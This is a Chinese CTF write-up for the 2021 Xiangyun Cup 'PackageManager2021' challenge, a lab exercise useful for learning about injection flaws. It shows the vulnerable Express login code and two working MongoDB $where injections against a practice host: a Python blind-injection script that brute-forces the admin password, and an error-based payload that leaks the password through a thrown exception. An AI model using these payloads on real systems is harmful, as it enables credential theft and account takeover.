[2021祥云杯]PackageManager2021

index.ts的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import *  as express from "express";
import { User } from "../schema";
import { checkmd5Regex } from "../utils";

const router = express.Router();

router.get('/', (_, res) => res.render('index'))

router.get('/login', (_, res) => res.render('login'))

router.post('/login', async (req, res) => {
let { username, password } = req.body;
if (username && password) {
if (username == '' || typeof (username) !== "string" || password == '' || typeof (password) !== "string") {
return res.render('login', { error: 'Parameters error' });
}
const user = await User.findOne({ "username": username })
if (!user || !(user.password === password)) {
return res.render('login', { error: 'Invalid username or password' });
}
req.session.userId = user.id
res.redirect('/packages/list')
} else {
return res.render('login', { error: 'Parameters cannot be blank' });
}
})

router.get('/register', (_, res) => res.render('register'))

router.post('/register', async (req, res) => {
let { username, password, password2 } = req.body;
if (username && password && password2) {
if (username == '' || typeof (username) !== "string" || password == '' || typeof (password) !== "string" || password2 == '' || typeof (password2) !== "string") {
return res.render('register', { error: 'Parameters error' });
}
if (password != password2) {
return res.render('register', { error: 'Password do noy match' });
}
if (await User.findOne({ username: username })) {
return res.render('register', { error: 'Username already taken' });
}
try {
const user = new User({ "username": username, "password": password, "isAdmin": false })
await user.save()
} catch (err) {
return res.render('register', { error: err });
}
res.redirect('/login');
} else {
return res.render('register', { error: 'Parameters cannot be blank' });
}
})

router.get('/logout', (req, res) => {
req.session.destroy(() => res.redirect('/'))
})


router.get('/auth', (_, res) => res.render('auth'))

router.post('/auth', async (req, res) => {
let { token } = req.body;
if (token !== '' && typeof (token) === 'string') {
if (checkmd5Regex(token)) {
try {
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
console.log(docs);
if (docs.length == 1) {
if (!(docs[0].isAdmin === true)) {
return res.render('auth', { error: 'Failed to auth' })
}
} else {
return res.render('auth', { error: 'No matching results' })
}
} catch (err) {
return res.render('auth', { error: err })
}
} else {
return res.render('auth', { error: 'Token must be valid md5 string' })
}
} else {
return res.render('auth', { error: 'Parameters error' })
}
req.session.AccessGranted = true
res.redirect('/packages/submit')
});


export default router;

主页注册登陆后:

image-20241104194519814

发现这些东西全被过滤了,那应该就是不是上传js文件submit东西执行js文件获取文件了,那应该就是拿admin的密码登录了,找一下源码关于admin的信息,找到这个源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
router.post('/auth', async (req, res) => {
let { token } = req.body;
if (token !== '' && typeof (token) === 'string') {
if (checkmd5Regex(token)) {
try {
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
console.log(docs);
if (docs.length == 1) {
if (!(docs[0].isAdmin === true)) {
return res.render('auth', { error: 'Failed to auth' })
}
} else {
return res.render('auth', { error: 'No matching results' })
}
} catch (err) {
return res.render('auth', { error: err })
}
} else {
return res.render('auth', { error: 'Token must be valid md5 string' })
}
} else {
return res.render('auth', { error: 'Parameters error' })
}
req.session.AccessGranted = true
res.redirect('/packages/submit')
});

其中:

1
2
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
console.log(docs);

这个token我们可以控制,并且还有exec执行函数,可以构造随便md5“加上||this.password[0]==”a 进行布尔盲注

1
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" || this.password[0]=="a"

此时:

1
this.username == "admin" && hex_md5(this.password) == "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" || this.password[0]=="a"

基本上就是||后面的对了就是对的,错了就是错的,就可以爆密码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import string

url="http://33384f3e-07da-423c-a59f-2b1d078b0e5e.node5.buuoj.cn:81/auth"
headers={
"Cookie": "session=s%3A3wvQHv9Y0mXpJiI6waZgpyDAJEUZx1xo.JVohWm50pSeTB1xXjWBypCPrJjkGoxsdEJ4MukmieVQ",
}

flag = ''
for i in range(10000):
for j in string.printable:
if j == '"':
continue
payload='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[{}]=="{}'.format(i,j)
data={
"_csrf": "90fXyUpP-Ozj7FRw1cLILI9yNJds_QbJM5Bk",
"token": payload
}
r=requests.post(url=url,data=data,headers=headers,allow_redirects=False)
# print(r.text)
if "Found. Redirecting to" in r.text:
print(payload)
flag+=j
print(flag)
break

image-20241104195939735

登陆就出了

image-20241104200009587

还有就是

用js语句throw error

js直接报错出的

1
token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()=="admin

逻辑判断语句为:

1
`this.username == "admin" && hex_md5(this.password) == "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||(()=>{throw Error(this.password)})()!="aaaaa"`

这里就是立即执行throw Error(this.password),后面是!=还是== 字符串的值是什么都无所谓,只要是语法没问题然后语句正常执行,这里强制抛出异常,从源码中可以看到抛出的异常会被渲染出来,然后就能够看到password的值

image-20241104200138677

也是直接出密码